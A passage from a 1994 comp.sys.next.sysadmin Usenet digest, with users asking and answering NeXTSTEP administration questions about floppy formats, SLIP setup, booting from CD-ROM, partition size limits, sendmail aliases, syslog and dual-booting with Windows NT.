Along these same lines, is there a way to increase the usable space on a
HD diskette when formatted as a NeXT disk. When formatting them as NeXT
disks, I typically get 1.19MB of available space. When formatting them as
DOS disks, I get the standard 1.44 MB. Why do I lose approximately 17% of
the available space. I like having them as NeXT disks so as to store
small archives without the limitation of DOS naming conventions, but
losing the space makes it about a wash on convenience.
-george
George B. Ross_____NeXTmail welcome_________gross@stimpy.ame.nd.edu
Aerospace and Mechanical Engineering_______University of Notre Dame
Newsgroups: comp.sys.next.sysadmin
From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: HELP needed with TransSys PNI 1.9
Message-ID: <1994Jun16.132621.243@balou.rhein.de>
Sender: tommi@balou.rhein.de (Thomas Pfleiderer)
Organization: private NeXT
Date: Thu, 16 Jun 94 13:26:21 GMT
Hello world,
I successfully installed TransSys PNI 1.9 but I have some problems to dial
out.
All of the scripts expect a slip-server with password-login. But I have the
possibility to use a server where I only have to dial in without waiting for
username and/or password. After the connect I directly have a prompt where I
can (manually) type "slip" to start the slip-server.
Could anybody help me to set up a dial-script for this purpose?
Thanks in advance, tommi
------
Thomas Pfleiderer
tommi@balou.rhein.de
voice/fax: +49 2225 701332
NeXT-Mail appreciated.
Newsgroups: comp.sys.next.sysadmin
From: img@ai.ed.ac.uk (Ian Green)
Subject: top3.3 for Next2.1
Message-ID: <IMG.94Jun16135550@achtriochtan.ai.ed.ac.uk>
Sender: news@aisb.ed.ac.uk (Network News Administrator)
Organization: University of Edinburgh
Date: Thu, 16 Jun 1994 13:55:50 GMT
Hello,
I have made a top3.3 module for NS2.1 (it works on a nextstation
mono). This is based on a NS3.2 module sent to me by Anthony J.
Stuckey <stuckey@mrcnext.cso.uiuc.edu>.
NB> these changes to top3.3 are NOT official.
Please send any improvements to me as well.
-ian
--
ftp the diffs from dream.dai.ed.ac.uk:/pub/misc/next/top33.NeXT.shar.gz
This sharfile consists of a NeXT2.1 module and some other changes to
the top3.3 files.
(you also need top3.3beta3:
The latest version of "top" is always available via anonymous FTP from
the host "eecs.nwu.edu" in the directory "/pub/top". Additional modules
will be made available in the directory "/pub/top/m".
)
or get the whole thing from
dream.dai.ed.ac.uk:/pub/misc/next/top-3.3next.tar.gz
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: CDPlayer, again...
Date: 15 Jun 1994 03:07:33 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2tlr9l$6oo@anaxagoras.ils.nwu.edu>
I know we have been over this about once a week for the past few years
but I am having a problem with the CDPlayer.app on my next cube.
This is the first time I have had the chance to work with an apple
cdrom drive, something that is actually documented to work with NextStep
out of the box. Anyway, I have the SCSI ID of the CDRom drive set to 2
and the permissions are correctly set on CDPlayer, I believe anyway...
I get the following:
cdutil: sendCommand error:Sense key: 5, code: 24
the more complex messages are :
sd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x84
SCSI Block in error = 0 (no valid label)
sd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x84
SCSI Block in error = 4 (no valid label)
sd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x84
SCSI Block in error = 8 (no valid label)
sd1 (2,0): ERROR op:0x28 sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x84
SCSI Block in error = 12 (no valid label)
DISK UNFORMATTED
Disk is Write Protected
sd1 (2,0): ERROR op:0x43 sd_state:4 scsi status:0x0
sd1 (2,0): sense key:0x5 additional sense code:0x24
SCSI Block in error = 0 (no valid label)
Would anyone out there care to address this issue just one
more time?
thanks!
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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Northwestern University | (--|--)
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work: (708) 467-1014 |
--------Be excellent to each other--------
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Black Hardware Hell
Date: 16 Jun 1994 17:58:12 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2tq3rk$jta@agate.berkeley.edu>
References: <2tp1tp$rj2@hpsystem1.informatik.tu-muenchen.de>
In article <2tp1tp$rj2@hpsystem1.informatik.tu-muenchen.de> meyergru@Informatik.TU-Muenchen.DE (Uwe
Meyer-Gruhl) writes:
>>In article <2tn0kr$j5@brachio.zrz.TU-Berlin.DE> rene@prz.tu-berlin.de (Rene'
>>Kulschewski) writes:
>>#Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
>>#
>>#: It's not clear from these posts, but are you using turbo
>>#: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
>>#: from CDROM. That's why they give you a floppy with the CD when
>>#: you upgrade. Perhaps irrelevant, but just in case.
>>#
>>#That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
>>#including mine ... :-)
>>#
>>#Rene'
>>
>>This is not a hardware problem. Any black NeXT will boot from CD-ROM with OS
>>3.0 or higher. NeXT computer running 2.X will need the floppy-disk for
>>upgrading.
>>
>
>This is not true. Older NeXT computers (like my NeXTstation color) don't
>know how to boot from a CD-ROM, because the system bios does not support this.
>They DO know, however, how to boot from a diskette or an optical disk.
I think I know where the confilicting reports come from.
It is true that older NeXTs cannot boot from CDROM if you are trying
to install 3.x to your HD for the first time ever (as in the case of
a new replacement HD).
However, it appears that if you have had 3.x on your HD and you are
attempting a complete re-install of 3.2 via booting from CDROM, you
can boot from CDROM without the need for a special floppy that comes
with the CD (with CDROMdrive SCSI ID =0, HD's SCSI ID=1).
Kernel or boot block that knows about CDROM probably gets loaded from
the HD at "sd1" and then it proceeds to boot from CDROM at sd0 rest
of the way.
I've reinstalled 3.2 this way on a few older systems without
ever using the floppy, all on non-ADB hardware (even on cubes
without any floppy drive). Try booting from CDROM anyway, it
might work unless the HD has been totally trashed. If it doesn't
work, then worry about the boot floppy or OD.
--
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USMail: Univ. of California, 360 Minor Hall, Berkeley, CA 94720-2020
Telephone: (510) 642-6440 Fax: (510) 642-3323
From: kaoki@ps1.yukawa.kyoto-u.ac.jp (Kenichiro Aoki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Black Hardware Hell
Date: 16 Jun 1994 12:52:04 GMT
Organization: Yukawa Institute for Theoretical Physics, Kyoto, Japan.
Message-ID: <KAOKI.94Jun16215204@ps1.ps1.yukawa.kyoto-u.ac.jp>
References: <Cr3tw6.DnM@cunews.carleton.ca> <neuss.771611328@budlight>
<KAOKI.94Jun15141434@ps2.ps1.yukawa.kyoto-u.ac.jp>
<2tn0kr$j5@brachio.zrz.TU-Berlin.DE>
In-reply-to: rene@prz.tu-berlin.de's message of 15 Jun 1994 13:44:59 GMT
>>>>> On 15 Jun 1994 13:44:59 GMT, rene@prz.tu-berlin.de (Rene' Kulschewski) said:
Rene> Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
Rene> : It's not clear from these posts, but are you using turbo
Rene> : machines or non-turbo? I believe non-turbo NeXT's canNOT boot
Rene> : from CDROM. That's why they give you a floppy with the CD when
Rene> : you upgrade. Perhaps irrelevant, but just in case.
Rene> That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
Rene> including mine ... :-)
Yup. I should have said *older* non-turbo's can't boot from
the CDROM. Just to clear up the potential confusion, 040 ROM
v58-v66 and of course the older 030 machines cannot, according
to the FAQ. ROM v70-v74 are OK. I tend to forget that NeXT was
selling non-turbo's even after turbos came out.
Thanks for reminding me.
--
Kenichiro Aoki (ken@phys.titech.ac.jp), Department of Physics,
Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
... posting from kyoto....
From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disabling passwd changing in Preferences.app
Date: 16 Jun 1994 20:40:12 GMT
Organization: University of Pennsylvania
Message-ID: <2tqdbc$av5@netnews.upenn.edu>
References: <CrI3Ms.1qo@usenet.ucs.indiana.edu>
In article <CrI3Ms.1qo@usenet.ucs.indiana.edu>
francisr@stupid.ucs.indiana.edu (Rob Francis) writes:
>
>It seems that Preferences ignores when "secure_passwords" is turned
>on, and it allows people to pick really bad passwords. If I can't get
>it to use good passwords, I'd like to just disable it. My question
>is, should I just turn off permissions for
>/NextApps/Preferences.app/Password.preferences/Password, or is there a
>better way to go about this?
Upgrade to 3.2. Prefences supports secure_passwords.
-dave
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: schwett@netcom.com
Subject: Re: NEC 3Xe CD-ROM and NeXTSTEP
Message-ID: <schwettCrIBvC.M1w@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <2tl5qh$9va@s.ms.uky.edu> <1994Jun15.081313.21516@cc.usu.edu>
Date: Thu, 16 Jun 1994 20:35:36 GMT
"Someone awhile back mentioned that they thought that NEXTSTEP had a
problem with SCSI-2 CD-ROM drives like the 3Xi/e. Anyone have any clues?"
Well, I've got an NEC 3Xi and have used to install NeXTStep on my system
several times. I've had so many various problems at one point or another
that I can't remember the specific instance, but on one occasion I did have
to change the 3xi to SCSI-1 command mode.. There is a jumper on the back
of the drive that is labeled to do this.
Other than that, (or rather since I did that) I have had no problems at all
with the NEC 3xi.
Mark Schwettmann
schwett@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: How does one make a partition > 2.0 Gig work under NeXTSTEP?
Message-ID: <1994Jun19.092854.2224@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <2tt2p7$mb3@triton.ucsd.edu>
Date: Sun, 19 Jun 1994 09:28:54 GMT
In article <2tt2p7$mb3@triton.ucsd.edu> cdl@triton.ucsd.edu (Carl
Lowenstein) writes:
> In article <2trefk$a0q@samsara.circus.com> buddha@samsara.circus.com
> (Adam Deishu Beeman) writes:
> >In article <2tq5pb$a5m@news.doit.wisc.edu>,
> >Mark W. Spychalla <spy@castlab.uucp> wrote:
> >>
> >> Does anyone know how to make a partition > 2.0 Gig work under
> >> NeXTSTEP 3.1?
> >
> >Yep, and it's not unique to NeXTSTEP, either. I believe SunOS 4.x has
> >this same limitation. Quite probably many other flavors of unix do
> >too. Making two partitions seems to be the way to go.
>
> Let's put it this way: Every Unix system that uses 32-bit file
> pointers has a 2^31 byte limit on the size of a logical unit (file
> partition). That's colloquially known as 2 GB.
>
Not every Unix with 32-bit pointers, only those who declared the poiters
long integers instead of long unsigned :-) But your true, it is a quite
common fad to waste the sign bit for a quantity that's never going to get
negative.
> As 64-bit processors come along, this restriction will go away.
> Some custom file systems from Sun and others also have work-arounds.
> Probably the 2GB file limit will be gone by January 2038, when Unix
> runs out of seconds, another consequence of using 32-bit integers.
>
It would even help someone could modify the corresponding code and make
proper use of the 32nd bit! Unfortunately there are too many places to
look for a fix in the good ol'e hacker way. It would otherwise pay to
spend the time on a extended gdb session...
--
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Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | pgp & NeXTmail ok! # up to the Net. Peter 1,3-5
From: jhf@d0xs2.fnal.gov (John Featherly)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/Intel 3.1 CD install floppy image?
Date: 16 Jun 1994 23:20:39 GMT
Organization: Fermi National Lab/D-Zero Experiment
Distribution: world
Message-ID: <2tqmo7$ojb@fnnews.fnal.gov>
A defective floppy drive has eaten my NS/intel 3.1 CD-ROM installation
floppy. Of course I didn't make a copy yet. Does anyone know where I
can ftp an image (i.e. dd format) of this floppy? If not, does anyone
know where to call at NeXT to get a replacement? Thanks.
-------------------------------------------------------------------------
John
From: jack@sfsu.edu (Jack E. Tse)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Re: Sendmail 8.6.9 aliases
Date: Mon, 20 Jun 1994 09:33:15
Organization: San Francisco State University
Distribution: world
Message-ID: <jack.7.00098E24@sfsu.edu>
References: <2sqdr9$p30@msuinfo.cl.msu.edu> <2ts9pk$53k@agate.berkeley.edu>
In article <2ts9pk$53k@agate.berkeley.edu> eric@CS.Berkeley.EDU (Eric Allman) writes:
>Path: csus.edu!csulb.edu!library.ucla.edu!agate!CS.Berkeley.EDU!eric
>From: eric@CS.Berkeley.EDU (Eric Allman)>Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
>Subject: Re: Sendmail 8.6.9 aliases
>Date: 17 Jun 1994 13:51:48 GMT
>Organization: UC Berkeley Mammoth Project
>Lines: 36
>Sender: eric@mastodon.CS.Berkeley.EDU (Eric Allman)
>Distribution: world
>Message-ID: <2ts9pk$53k@agate.berkeley.edu>
>References: <2sqdr9$p30@msuinfo.cl.msu.edu>
>Reply-To: eric@CS.Berkeley.EDU
>NNTP-Posting-Host: mastodon.cs.berkeley.edu
>Xref: csus.edu comp.sys.next.sysadmin:16970 comp.mail.sendmail:11952
>In article <2sqdr9$p30@msuinfo.cl.msu.edu>, gary@ah3.cal.msu.edu (Gary J
>LaPointe) writes:
>|> In my aliases file I have
>|> chap5: :include:/user/gary/.chap5
>|> which then forwards to a list of names in /user/gary/.chap5 when anyone
>|> sends mail to the list.
>|>
>|> Since I've compiled sendmail 8.6.9 everything seems to run okay on my NeXT
>|> even forwarding names but not when I do the include lists.
>|> My include list is ONLY 640byte so I'm not over the 1000byte limit (yet).
>|>
>|> I've chenged the permissions a few times and the group to wheel and it's
>|> still not working.
>|> (I never had to do andything to make it work in the first place).
>|>
>|> ANY suggestions would be appreciated...
>|>
>|> Here is what I get when I send mail
>|> ----------------------------------------------
>|> Subject: Returned mail: aliasing/forwarding loop broken
>|>
>|> The original message was received at Sat, 4 Jun 1994 13:17:58 -0400
>|> from gary@localhost
>|>
>|> ----- The following addresses had delivery problems -----
>|> prov5@ah3.cal.msu.edu (unrecoverable error)
>|> :include:/user/gary/.prov5 (unrecoverable error)
>|> (expanded from: prov5@ah3.cal.msu.edu)
>|>
>|> ----- Transcript of session follows -----
>|> 550 :include:/user/gary/.prov5... Cannot open /user/gary/.prov5: Permission
>denied
>This last line points at the problem -- the mode on .prov5 (or possibly
>/usr/gary) is probably too restrictive -- the directory should be
>publically searchable and the file should be publically readable.
>eric
Setting up the sendmail with setuid permission should allow sendmail to read
the ":include:..." file. Is that not true any more?
Jack
From: buddha@samsara.circus.com (Adam Deishu Beeman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: disk(8) reports 3600 rpm for a 4511 rpm disk
Date: 16 Jun 1994 21:47:25 -0700
Organization: The Marshmallow Peanut Circus
Message-ID: <2tr9st$9qq@samsara.circus.com>
References: <2ta2bb$1fo@gap.cco.caltech.edu>
Summary: don't worry be happy
In article <2ta2bb$1fo@gap.cco.caltech.edu>,
Phillip Takeo Tokumaru <tokumaru@alumni.caltech.edu> wrote:
>When I use disk (8) to read the label entry for my ST11900N it
>claims that my disk's rpm is 3600 (the default). In reality,
>it spins at 5411 rpm. How is this number used? It would seem that
>having it wrong could dffect disk performance. Can this be fixed
>easily (or does it need to be), using something like tunefs, or
>by editing the rpm entry using disk? Does it require a ground-up
>re-installation of the filesystem, etc?.
3600 RPM is a typical value that gets plugged into the rotational speed
of a disk when its actual speed isn't easily detected by SCSI inquiries.
The drive knows how to control itself and speak SCSI, though, so in this
case there's no benefit achieved here at all. You could probably spend
a little time writing a label and putting it in /etc/disktab, and reformatting
the drive, but the benefit is (from what I know) nil.
-Adam
>Phillip Tokumaru
>tokumaru@alumni.caltech.edu
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From: buddha@samsara.circus.com (Adam Deishu Beeman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How does one make a partition > 2.0 Gig work under NeXTSTEP?
Date: 16 Jun 1994 23:05:40 -0700
Organization: The Marshmallow Peanut Circus
Message-ID: <2trefk$a0q@samsara.circus.com>
References: <2tq5pb$a5m@news.doit.wisc.edu>
In article <2tq5pb$a5m@news.doit.wisc.edu>,
Mark W. Spychalla <spy@castlab.uucp> wrote:
>
> Does anyone know how to make a partition > 2.0 Gig work under NeXTSTEP 3.1?
> I recently installed a 3.0 Gig Micropolis drive on our NeXTstation turbo
> and ended up making two partitions (one 2.0 Gig and the other 1.0 Gig)
> because I was unable to newfs anything larger than 2.0 Gig. Is there an
> inherent 2.0 Gig limit on a working NeXTSTEP partition?
Yep, and it's not unique to NeXTSTEP, either. I believe SunOS 4.x has this
same limitation. Quite probably many other flavors of unix do too.
Making two partitions seems to be the way to go.
-Adam
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Newsgroups: comp.sys.next.sysadmin
From: shay@netcom.com (Christian Shay)
Subject: Can NS coexexist with NT on the same intel box?
Message-ID: <shayCrJ32K.38t@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Fri, 17 Jun 1994 06:23:08 GMT
Hello,
I just got NS working on my intel box at work and it's beautiful. However,
to justify the use of the machine, I must also run MS NT. Does anyone know
if I can get this to work. I've heard horror stories about what NT does
to boot sectors of other OS's, but besides that, is NS very flexible
about booting up by someone elses bootmanager, say the one that comes with
OS/2... Any battle stories would be appreciated....
Thanks,
Christian
shay@netcom.com
From: bbry@bu.edu (Bryony Bechtold)
Newsgroups: comp.sys.next.sysadmin
Subject: Making an Intel Boot floppy
Date: 17 Jun 1994 07:07:56 GMT
Organization: Boston University
Message-ID: <2tri4c$pfn@news.bu.edu>
I am running Nextstep 3.2 on Intel hardware. My question is, how can I boot
the system from some method other than using a hard disk. How do I boot from
CD-rom, or make a boot disk (is this possible using 1.4mb diskettes???)
Also, how can the system be booted in single user mode?
Thanks
Newsgroups: comp.sys.next.sysadmin
From: frank_m@sat.mot.com (Mark Frank)
Subject: No space available on hard disk, swapfile.front
Message-ID: <1994Jun16.220225.20918@sat.mot.com>
Sender: usenet@sat.mot.com (Usenet Accoun)
Organization: Motorola Inc. - Satellite Communications
Date: Thu, 16 Jun 1994 22:02:25 GMT
My Intel Next hung up while backspace had the screen locked (I don't know if backspace caused this). When I rebooted and logged on, the file manager showed, "NO Space available on hard disk" (I previously had over 100 Mb). After looking around I found this file called /private/vm/swapfile.front. The inspector indicated that this file is 375 Mb. Is this real? Can I simply delete this file to get myself operational?
- Thanks for your help,
Mark Frank
p25231@email.mot.com
From: stef@rs1.Theo-Phys.Uni-Essen.DE (Stefan Ried)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can NS coexexist with NT on the same intel box?
Date: 17 Jun 1994 09:04:29 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <2trout$ors@info2.rus.uni-stuttgart.de>
References: <shayCrJ32K.38t@netcom.com>
In article <shayCrJ32K.38t@netcom.com>, shay@netcom.com (Christian Shay) writes:
> Hello,
>
> I just got NS working on my intel box at work and it's beautiful. However,
> to justify the use of the machine, I must also run MS NT. Does anyone know
> if I can get this to work. I've heard horror stories about what NT does
> to boot sectors of other OS's, but besides that, is NS very flexible
> about booting up by someone elses bootmanager, say the one that comes with
> OS/2... Any battle stories would be appreciated....
>
> Thanks,
>
> Christian
> shay@netcom.com
I can only talk about OS/2 and NS running both on my Intel. The procedure is as
following:
1. Install NS as shown in the installationguide, but
leaving some space for other partitions
2. Install os2 Boot manager
3. Create other partitions with os2 fdisk
4. Install os2 or dos like known from simple (os2-dos)-dualboot-systems
Finally the system start with the NS-bootmanager going just through to the much more confortable os2 bootmanager. There you can choose between all of them.
Be careful to hold on this installation-sequence as NS is not respecting entries in the partitiontable from other systems and will destroy existing os2-partitions.
stef
ried@garfield.theo-phys.uni-esse.de
Newsgroups: comp.sys.next.sysadmin
Subject: Printing from FrameMaker4?
Message-ID: <1994Jun17.104332.3429@bay.cc.kcl.ac.uk>
From: mfreeman@mth.kcl.ac.uk (Mike Freeman)
Date: 17 Jun 94 10:43:31 BST
I am trying to print from FrameMaker4, running on a sun, to a
NextPrinter, but the Next seems not to like the postscript
produced by FrameMaker4. Does anyone have any experience with
this?
Mike
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to log anonymous ftp logins?
Date: 17 Jun 1994 11:02:41 GMT
Organization: University of Durham, Durham, UK.
Message-ID: <2trvsh$ogb@mercury.dur.ac.uk>
References: <CqFLy2.5qJ@spcuna.spc.edu> <CrG6Jn.Du9@newshub.ccs.yorku.ca>
Michael Friendly (friendly@hotspur.psych.yorku.ca) wrote:
: I have tried inserting the line containing 'daemon.info' above into my
: /etc/syslog.conf file, but ftp logins still do not show up in my messages
: file. Is there anything else that needs to be done besides making that
: change?
Use Wu-ftpd. It provides excellent logs to wherever you wish....
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From: sbender@harmony.digex.net (Scott Bender)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: -NXHost over PPP or SLIP
Date: 17 Jun 1994 12:52:39 GMT
Organization: Harmony Data Systems
Message-ID: <2ts6an$bv4@news1.digex.net>
Has anyone been able to get -NXHost to work over PPP or SLIP from Black to
White? I get connection errors when I try. Any help would be appreciated.
- Scott
From: <JTRQC@CUNYVM.CUNY.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How does one make a partition > 2.0 Gig work under NeXTSTEP?
Date: Fri, 17 Jun 1994 09:41:53 EDT
Organization: City University of New York/University Computer Center
Message-ID: <94168.094153JTRQC@CUNYVM.CUNY.EDU>
References: <2tq5pb$a5m@news.doit.wisc.edu> <2trefk$a0q@samsara.circus.com>
Disclaimer: Author bears full responsibility for this post
True... YOU have to partition the 3 gig drive ... you must...
anything larger than 2 gig must be partitioned!!!
James T. Romano
Economic and Management Consultants Inc.
romano@emc-sole.com
From: eric@CS.Berkeley.EDU (Eric Allman)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Re: Sendmail 8.6.9 aliases
Date: 17 Jun 1994 13:51:48 GMT
Organization: UC Berkeley Mammoth Project
Sender: eric@mastodon.CS.Berkeley.EDU (Eric Allman)
Distribution: world
Message-ID: <2ts9pk$53k@agate.berkeley.edu>
References: <2sqdr9$p30@msuinfo.cl.msu.edu>
In article <2sqdr9$p30@msuinfo.cl.msu.edu>, gary@ah3.cal.msu.edu (Gary J LaPointe) writes:
|> In my aliases file I have
|> chap5: :include:/user/gary/.chap5
|> which then forwards to a list of names in /user/gary/.chap5 when anyone
|> sends mail to the list.
|>
|> Since I've compiled sendmail 8.6.9 everything seems to run okay on my NeXT
|> even forwarding names but not when I do the include lists.
|> My include list is ONLY 640byte so I'm not over the 1000byte limit (yet).
|>
|> I've chenged the permissions a few times and the group to wheel and it's
|> still not working.
|> (I never had to do andything to make it work in the first place).
|>
|> ANY suggestions would be appreciated...
|>
|> Here is what I get when I send mail
|> ----------------------------------------------
|> Subject: Returned mail: aliasing/forwarding loop broken
|>
|> The original message was received at Sat, 4 Jun 1994 13:17:58 -0400
|> from gary@localhost
|>
|> ----- The following addresses had delivery problems -----
|> prov5@ah3.cal.msu.edu (unrecoverable error)
|> :include:/user/gary/.prov5 (unrecoverable error)
|> (expanded from: prov5@ah3.cal.msu.edu)
|>
|> ----- Transcript of session follows -----
|> 550 :include:/user/gary/.prov5... Cannot open /user/gary/.prov5: Permission denied
This last line points at the problem -- the mode on .prov5 (or possibly
/usr/gary) is probably too restrictive -- the directory should be
publically searchable and the file should be publically readable.
eric
From: jhf@d0xs2.fnal.gov (John Featherly)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can NS coexexist with NT on the same intel box?
Date: 17 Jun 1994 15:56:53 GMT
Organization: Fermi National Lab/D-Zero Experiment
Distribution: world
Message-ID: <2tsh46$cdr@fnnews.fnal.gov>
References: <shayCrJ32K.38t@netcom.com>
In article <shayCrJ32K.38t@netcom.com>, shay@netcom.com (Christian Shay) writes:
:I just got NS working on my intel box at work and it's beautiful. However,
:to justify the use of the machine, I must also run MS NT. Does anyone know
:if I can get this to work. I've heard horror stories about what NT does
:to boot sectors of other OS's, but besides that, is NS very flexible
:about booting up by someone elses bootmanager, say the one that comes with
:OS/2... Any battle stories would be appreciated....
Yes, it certainly works. It's somewhat easier if you have NS in a partition
on the boot hard drive. You didn't say if you would be also running DOS.
That will work also, you may have to rewrite the boot sector after changes
upgrades etc. All in all, I don't think it's that hard to manaage.
------------------------------------------------------------------------------
John
From: shathaway@hampshire.edu (Stephen B. Hathaway)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/M 3.2 printer Still Dead!
Date: 17 Jun 1994 15:54:59 GMT
Organization: Hampshire College
Distribution: world
Message-ID: <shathaway.23.0@hampshire.edu>
Keywords: Nextstep, upgrade, printer
Hi,
I posted a note here about a month ago about our NextPrinter not working
after a 2.1 -> 3.2 upgrade. I have tried everything I could think of, short
of blowing away the entire netinfo database.
Has anyone had this expeience, and gotten the prnter to work?
Perhaps unrelatedly, I went to try to hook up a ptr via appletalk, and that
doesn't seem to have been installed!?
ANy clues?
Frustratedly,
Stephen Hathaway
shathaway@hamp.hampshire.edu
From: alan@es4spare.jsc.nasa.gov (Alan A. Barhorst)
Newsgroups: comp.sys.next.sysadmin
Subject: Swap Disks
Date: 17 Jun 1994 16:39:08 GMT
Organization: NASA Johnson Space Center, Houston, TX, USA
Message-ID: <2tsjjc$9h3@pendragon.jsc.nasa.gov>
Keywords: Swap, Disks, Format
Hello,
I was hoping some kind soul would tell me the procedure for
setting up a 100MB drive as a swapdisk. BuildDisk wants to put the system
on it (using ver 3.2). I just want it to be used for swapping. The drive
is my original 100mb Quantum that came with my 25mhz B&W NeXTstation.
Presently, It shows only 91mb available, I think because the bootsector is
still present. I would like to reformat the drive with larger sectors
(1024?) because I understand the drive will be more efficient and will
format more of the space. I'm trying to squeeze a little more performance
out of my box and my ram is at 32mb already. I need complete info on
using the unix ``disk'' command (I think) and where to mount (I think it
goes in /private/swapdisk) but I'm not certain. Thank you for your
patience and generous response.
Alan
BTW: What is the memory looking white slot near the back of the
motherboard? VRAM?
From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: NeXTSTEP Benchmarking software?
Date: 17 Jun 1994 19:39:53 GMT
Organization: University of Missouri - Columbia
Distribution: world
Message-ID: <2tsu6n$r8k@golf.ustores.missouri.edu>
I am going to be evaluating a number of different Intel NeXTSTEP
machines. Can someone please point me to some benchmarking code for video,
disk, network, and/or number crunching performance? It would be nice if I
could find one package specifically NeXTSTEP based and another package
generic enough to go cross platform (i.e. compare NeXT to SGI). Mail, posts,
and Pointers to code welcome.
Thanks in advance for any help!
Regards, ___
/\__\ NeXT system administrator
H. Paul Hammann \/__/ Campus Computing
ccpaulh@monad.missouri.edu NeXTstep U. of Missouri - Columbia
From: pete_helme@genmagic.com (Pete Helme)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: NeXTSTEP Benchmarking software?
Date: 20 Jun 1994 18:24:49 GMT
Organization: General Magic, Inc.
Sender: %.
Distribution: world
Message-ID: <2u4mth$96@gatekeep.genmagic.com>
References: <2tsu6n$r8k@golf.ustores.missouri.edu>
Are there any SPEC numbers available for NS on various Intel platforms?
-------------------------
<pete_helme@genmagic.com>
From: ted@.pdgm.com (Edward E. Murphy)
Newsgroups: comp.sys.next.sysadmin
Subject: Syslogd Error Messages on Bootup
Date: 17 Jun 1994 15:30:36 GMT
Organization: Edward E. Murphy
Message-ID: <2tsfis$10r@pdgmhost.pdgm.com>
Hi all,
Having just installed INN, I am getting an error message on bootup re my
syslog. The message is:
..
pdgmhost syslogd: unknown facility name: inappropriate ioctl for device
pdgmhost syslogd: unknown facility name "news"
pdgmhost syslogd: unknown facility name "news"
..
Here is my syslog.conf:
*.err;kern.debug;auth.notice /dev/console
kern.debug;daemon,auth.notice;*.err;mail.crit /usr/adm/messages
lpr.debug /usr/adm/lpd-errs
mail.info /usr/spool/mqueue/syslog
*.alert;kern.err;daemon.err operator
*.alert root
*.emerg *
news.crit /usr/spool/news/log.news/news.crit
news.err /usr/spool/news/log.news/news.err
news.notice /usr/spool/news/log.news/news.notice
Does anyone have any ideas?
Thanks in advance,
Ted.
Newsgroups: comp.sys.next.sysadmin
From: blanford@gemstone.com (Ron Blanford)
Subject: Re: Can NS coexexist with NT on the same intel box?
Message-ID: <1994Jun18.090532.13399@venice.sedd.trw.com>
Originator: blanford@arkenstone
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <shayCrJ32K.38t@netcom.com>
Date: Sat, 18 Jun 1994 09:05:32 GMT
In article <shayCrJ32K.38t@netcom.com> shay@netcom.com (Christian Shay)
writes:
> Hello,
>
> I just got NS working on my intel box at work and it's beautiful.
> However, to justify the use of the machine, I must also run MS NT. Does
> anyone know if I can get this to work. I've heard horror stories about
> what NT does to boot sectors of other OS's, but besides that, is NS very
> flexible about booting up by someone elses bootmanager, say the one that
> comes with OS/2... Any battle stories would be appreciated....
>
I am running NT and NextStep on two partitions of my primary (only) hard
drive. I partitioned the drive and installed NextStep first, then NT.
The NT installation wiped out the NextStep boot manager, but all you have
to do to restore it is boot from the distribution floppy and use /etc/disk
to copy the boot manager back on. (The NeXTanswers FAQ tells you the
exact incantation). Now I boot NextStep as usual and NT by specifying
partition 1.
-- Ron
From: damonc@hookup.net (Damon F. Cooper)
Newsgroups: comp.sys.next.sysadmin
Subject: HERE'S HOW: Standalone SLIP in 11 Easy Steps
Date: Sat, 18 Jun 1994 13:29:00 GMT
Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA
Message-ID: <damonc.35.2E02F69C@hookup.net>
I got TransSys PNI 1.9 working on my standalone
